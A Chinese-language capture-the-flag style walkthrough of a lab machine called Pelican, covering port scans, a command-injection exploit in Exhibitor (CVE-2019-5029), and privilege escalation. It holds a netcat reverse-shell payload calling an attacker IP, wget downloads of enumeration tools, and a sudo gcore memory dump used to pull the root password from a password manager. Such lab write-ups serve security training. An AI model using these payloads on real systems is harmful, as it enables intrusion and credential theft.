拿shell阶段
先端口扫描:
TCP:
nmap -sC -sV -p- -T4 -n 192.168.226.98
扫描结果
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 a8:e1:60:68:be:f5:8e:70:70:54:b4:27:ee:9a:7e:7f (RSA)
| 256 bb:99:9a:45:3f:35:0b:b3:49:e6:cf:11:49:87:8d:94 (ECDSA)
|_ 256 f2:eb:fc:45:d7:e9:80:77:66:a3:93:53:de:00:57:9c (ED25519)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
631/tcp open ipp CUPS 2.2
|_http-title: Forbidden - CUPS v2.2.10
| http-methods:
|_ Potentially risky methods: PUT
|_http-server-header: CUPS/2.2 IPP/2.1
2181/tcp open zookeeper Zookeeper 3.4.6-1569965 (Built on 02/20/2014)
2222/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 a8:e1:60:68:be:f5:8e:70:70:54:b4:27:ee:9a:7e:7f (RSA)
| 256 bb:99:9a:45:3f:35:0b:b3:49:e6:cf:11:49:87:8d:94 (ECDSA)
|_ 256 f2:eb:fc:45:d7:e9:80:77:66:a3:93:53:de:00:57:9c (ED25519)
8080/tcp open http Jetty 1.0
|_http-server-header: Jetty(1.0)
|_http-title: Error 404 Not Found
8081/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Did not follow redirect to http://192.168.226.98:8080/exhibitor/v1/ui/index.html
39605/tcp open java-rmi Java RMI
Service Info: Host: PELICAN; OS: Linux; CPE: cpe:/o:linux:linux_kernel
UDP:
主要是看SNMP端口是否开启,一般是161端口
sudo nmap -Pn -n 192.168.226.98 -sU --top-ports=100 --reason
PORT STATE SERVICE REASON
631/udp open|filtered ipp no-response
5353/udp open zeroconf udp-response ttl 252
445 smb共享枚举
smbclient --no-pass -L //192.168.226.98
8081端口
跳转
http://192.168.226.98:8080/exhibitor/v1/ui/index.html
发现版本号V1.0,可以查询漏洞,经过搜索
An exploitable command injection vulnerability exists in the Config editor of the Exhibitor Web UI versions 1.0.9 to 1.7.1.
1.0.9 至 1.7.1 版参展商 Web UI 的配置编辑器中存在可被利用的命令注入漏洞。可在编辑器中插入由反拨号或 $() 包围的任意 shell 命令,并在启动 ZooKeeper 时由参展商进程执行。攻击者可作为运行参展商进程的用户执行任何命令。
可能存在CVE-2019-5029
利用步骤:
https://www.exploit-db.com/exploits/48654
payload:
$(/bin/nc -e /bin/sh 192.168.45.183 445 &)
利用步骤:
根据上文步骤进行利用
拿到shell
提权
枚举
kali :python3 -m http.server 80
上传工具
wget http://192.168.45.183/pspy64
wget http://192.168.45.183/linpeas.sh
运行./pspy64,看看能不能捕获一些敏感信息
发现root,一直运行这个:
/bin/sh -c while true; do chown -R charles:charles /opt/zookeeper && chown -R charles:charles /opt/exhibitor && sleep 1; done
Linux chown(英文全拼:change owner)命令用于设置文件所有者和文件关联组的命令。
chown命令,
大概是将/opt/zookeeper和/opt/exhibitor的所有权修改为,所有文件与子目录的拥有者皆设为 charles,群体的使用者 charles:
再使用./linpeas.sh枚举:
发现sudo -l
利用网站
https://gtfobins.github.io/gtfobins/gcore/
It can be used to generate core dumps of running processes. Such files often contains sensitive information such as open files content, cryptographic keys, passwords, etc. This command produces a binary file named core.$PID, that is then often filtered with strings to narrow down relevant information.
可以针对运行的进程,生成一个二进制文件,主要用于敏感文件查找,那我们详细查看一下现在运行的进程
发现
/usr/bin/password-store 进过goolge好像是一个密码管理器,可能有敏感文件
使用gcore:
sudo /usr/bin/gcore -a 513
查看生成的二进制文件
strings core.513
发现root密码
su
提权成功